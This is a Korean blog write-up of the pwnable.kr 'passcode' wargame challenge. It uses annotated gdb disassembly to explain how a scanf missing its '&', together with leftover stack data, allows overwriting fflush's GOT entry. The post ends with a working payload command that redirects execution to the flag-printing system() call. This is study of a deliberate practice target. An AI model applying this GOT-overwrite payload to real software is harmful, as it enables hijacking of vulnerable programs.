gunnew의 잡설

pwnable.kr 5. passcode 본문

System Security

pwnable.kr 5. passcode

higunnew 2020. 2. 4. 18:08
반응형

  코드만 보고 개쉬울줄 알았다가 너무 어려워 해설을 찾아보았다. 역시나 이번에도 내가 모르는 개념을 마음껏 써 재껴야 풀리는 문제였다. 뭐 아무래도 좋다. 이러면서 배우는 거니까!

 

 소스 코드 먼저 보자. 읽다 보면 이상한 점이 발견될 것이다. 바로 login()에서

scanf("%d", passcode1);

...

scanf("%d", passcode2);

 

이다. scanf로 해당 변수에 값을 넣으려면 &를 붙여 주소를 입력해야 한다. 그런데 여기서는 그냥 변수 명을 넣어주었다. 잘 생각해보면, scanf는 두 번째 인자로 넘어온 부분의 '값'에 해당하는 '곳'에 입력된 것을 넣는다. 그러니까 두 번째 인자로 어떤 변수의 주소 '값'이 들어오면 거기에다가 입력된 값을 넣는다. 일단 이 점을 염두에 두고 gdb를 실행하자.

 


1. gdb passcode & disas welcome

 

  이에 앞서 gdb를 조금 더 이쁘게 보고 싶다는 욕구가 있을 것이다. 하루 종일 흰 글씨만 보고 있으면 있던 재미도 다 떨어질 것이다. peda(Python Exploit Development Assistance for GDB)라는 인터페이스를 활용해보자. 사용법은 간단하다. ssh 서버로 pwnable.kr에 접속하고 나서 gdb를 실행한 다음에 source /usr/share/peda/peda.py를 치면 됨.

 

passcode@pwnable:~$ gdb passcode
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
...
(gdb) source/usr/share/peda/peda.py
gdb-peda$ set disassembly-flavor intel
gdb-peda$ disass welcome

 

 짜잔!

peda를 쓰자!


gdb-peda$ pdisass welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>: push   ebp
   0x0804860a <+1>: mov    ebp,esp
   0x0804860c <+3>: sub    esp,0x88

   // stack canary (Bof를 방지하기 위해 ebp - 12에다가 gs:0x14 데이터를 옮겨 놓음. 일종의 플래그
   0x08048612 <+9>: mov    eax,gs:0x14
   0x08048618 <+15>: mov    DWORD PTR [ebp-0xc],eax

  

   0x0804861b <+18>: xor    eax,eax
   0x0804861d <+20>: mov    eax,0x80487cb
   0x08048622 <+25>: mov    DWORD PTR [esp],eax
   0x08048625 <+28>: call   0x8048420 <printf@plt>
   0x0804862a <+33>: mov    eax,0x80487dd

 

   // ebp - 112에 name[100]이 저장되어 있을 것. ebp - 12에 stack canary가 있으므로 딱 100 bytes
   0x0804862f <+38>: lea    edx,[ebp-0x70]
   0x08048632 <+41>: mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>: mov    DWORD PTR [esp],eax
   0x08048639 <+48>: call   0x80484a0 <__isoc99_scanf@plt>


   0x0804863e <+53>: mov    eax,0x80487e3
   0x08048643 <+58>: lea    edx,[ebp-0x70]
   0x08048646 <+61>: mov    DWORD PTR [esp+0x4],edx
   0x0804864a <+65>: mov    DWORD PTR [esp],eax
   0x0804864d <+68>: call   0x8048420 <printf@plt>
   0x08048652 <+73>: mov    eax,DWORD PTR [ebp-0xc]
   0x08048655 <+76>: xor    eax,DWORD PTR gs:0x14
   0x0804865c <+83>: je     0x8048663 <welcome+90>
   0x0804865e <+85>: call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>: leave  
   0x08048664 <+91>: ret    
End of assembler dump.

 


2. pdisas login

  

 welcome() 에서 return하고 난 다음 바로 login을 한다. 그러니까 ebp, esp는 변함없을 것이다. 

 

 

gdb-peda$ pdisass login
Dump of assembler code for function login:
   0x08048564 <+0>: push   ebp
   0x08048565 <+1>: mov    ebp,esp
   0x08048567 <+3>: sub    esp,0x28
   0x0804856a <+6>: mov    eax,0x8048770
   0x0804856f <+11>: mov    DWORD PTR [esp],eax
   0x08048572 <+14>: call   0x8048420 <printf@plt>
   0x08048577 <+19>: mov    eax,0x8048783

 

    // ebp - 16에 passcode1이 있다. 다만 ebp - 16의 주소를 넘기는 게 아니라 '값'을 넘긴다는 것에 유의하자.
   0x0804857c <+24>: mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>: mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>: mov    DWORD PTR [esp],eax
   0x08048586 <+34>: call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>: mov    eax,ds:0x804a02c
   0x08048590 <+44>: mov    DWORD PTR [esp],eax
   0x08048593 <+47>: call   0x8048430 <fflush@plt>
   0x08048598 <+52>: mov    eax,0x8048786
   0x0804859d <+57>: mov    DWORD PTR [esp],eax
   0x080485a0 <+60>: call   0x8048420 <printf@plt>
   0x080485a5 <+65>: mov    eax,0x8048783

    // ebp - 12에 passcode2가 있음
   0x080485aa <+70>: mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>: mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>: mov    DWORD PTR [esp],eax
   0x080485b4 <+80>: call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>: mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>: call   0x8048450 <puts@plt>
   0x080485c5 <+97>: cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>: jne    0x80485f1 <login+141>
   0x080485ce <+106>: cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>: jne    0x80485f1 <login+141>
   0x080485d7 <+115>: mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>: call   0x8048450 <puts@plt>
   0x080485e3 <+127>: mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>: call   0x8048460 <system@plt>
   0x080485ef <+139>: leave  
   0x080485f0 <+140>: ret    
   0x080485f1 <+141>: mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>: call   0x8048450 <puts@plt>
   0x080485fd <+153>: mov    DWORD PTR [esp],0x0
   0x08048604 <+160>: call   0x8048480 <exit@plt>
End of assembler dump.

 


 근데 가만 생각해보니 조금 이상하다. 우리는 welcome()에서 ebp - 112부터 ebp - 12 직전까지 총 100bytes만 값을 바꿀 수 있었다. 그런데 passcode2가 위치한 자리는 ebp - 12이다. passcode1은 ebp - 16이니까 welcome에서 바꿀 수 있지만 passcode2는 ebp - 12이므로 원래 있던 쓰레기 값(예를 들면 0x000000)에 해당하는 주소로 가서 입력하는 값을 scanf로 넣는다. 그러니까 이대로는 프로그램에 문제가 생길 수밖에 없다.

 

 나는 여기서 도저히 나아갈 수 없어서 구글링의 힘을 빌렸다. 이 문제에서 써야 하는 개념은 PLT(Procedure Linkage Table)와 GOT(Global Offset Table)였다.

 

PLT와 GOT에 관한 자세한 설명은 다음 블로그 글을 참조하도록 하자.

 

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/

 

PLT와 GOT 자세히 알기 1

Dynamic Linking 과정을 추적해 PLT와 GOT를 이해해보자 :) 시스템 해킹을 공부하시는 분들이라면 PLT와 GOT에 대해 알고 있을 것입니다. 이제 막 시스템 해킹 공부를 시작한 분들도 한 번 쯤 들어보셨을 겁니다. PLT (Procedure Linkage Table) : 외부 프로시저를 연결해주는 테이블. PLT를 통해 다른 라이브러리…

bpsecblog.wordpress.com

https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/

 

PLT와 GOT 자세히 알기 2 (with ‘yocto’)

이번 편에서는 Codegate 2015 본선 문제 였던 pwnable 분야의 ‘yocto’ 를 통해 PLT 와 GOT에 대해 자세히 알아보겠습니다. 과정이 조금 복잡하기 때문에, 보시면서 따라 해 보는 것이 이해 하는 데 조금 더 도움이 될 것 같습니다. :) PLT와 GOT 자세히 알기 1 그럼 본격적으로 함수의 호출 과정을 살…

bpsecblog.wordpress.com

아무래도 PLT와 GOT에 관하여 설명글을 작성해 보아야 할 것 같다. 직접 써보지 않으니 자꾸 헷갈리고 머릿속에 적립이 안되는 기분이다.

 

 

 아무튼! 결국 현재 프로그램의 흐름대로 따라간다면 정상적으로 system("bin/cat/flag") 함수를 통해 flag를 호출할 수 없다. 따라서 PLT와 GOT를 활용한 프로시져 Jump를 활용할 것이다.

 


 

3. PLT와 GOT를 활용한 프로시져 점프 ( using fflush() )

 

 passcode1에 해당하는 값을 주소로 받아들여 그 주소 값에 입력한 값을 넣고나면 fflush를 실행한다. 그러면 call 0x8048430 을 실행할텐데 0x8048430에 무슨 instruction이 있는지 살펴보자!

 

 

 

먼저 fflush가 호출되면 0x8048430 부분인 fflush의 plt를 참조하는 것을 확인 할 수 있다.

0x8048430는 plt부분이니 fflush의 plt를 보기 위해 x/i명령을 통해 조사해보면

 

x/4i 0x8048430

ds:0x804a004로 또 점프하라고 나온다. PLT가 점프하는 공간이니 그 곳에는 fflush()의 GOT가 들어있을 것이다. 그러니까 PLT로 들어가서(0x8048430) 해당 PLT에서 점프한 곳은 GOT에서의 주소이며, 다시 이 주소로 점프하여 fflush를 실행할 것이다. 

 

 

이를 활용하여 프로시져를 바로 system("bin/cat/flag")를 실행하는 곳으로 넘겨버리자. 이 함수를 실행하기 위해서는 이 밑에 0x080485e3 으로 프로시져를 넘겨버려야 한다.

 

   0x080485e3 <+127>: mov    DWORD PTR [esp],0x80487af 
   0x080485ea <+134>: call   0x8048460 <system@plt> 

 


 

  정리하자면, welcome()할 때, id를 입력하는 100자리에다가 96자리까지는 아무 값이나 넣고 마지막 4bytes 에다가 0x80485e3을 입력해야 한다. 그러면 passcode1에 0x80485e3 값이 들어가 있을 텐데 passcode1을 scanf할 때, passcode1이 있는 자리에 0x804a004 라는 값이 있기 때문에 그 값에 해당하는 주소에다가 숫자 0x080485e3에 해당하는 값 (134514147)를 입력해주면 성공할 것이다!!



 

4. Payload 작성

(python -c 'print("A"*96 + "\x04\xa0\x04\x08")'; cat) | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�!
134514147

Payload 작성

 


 

 

반응형
Comments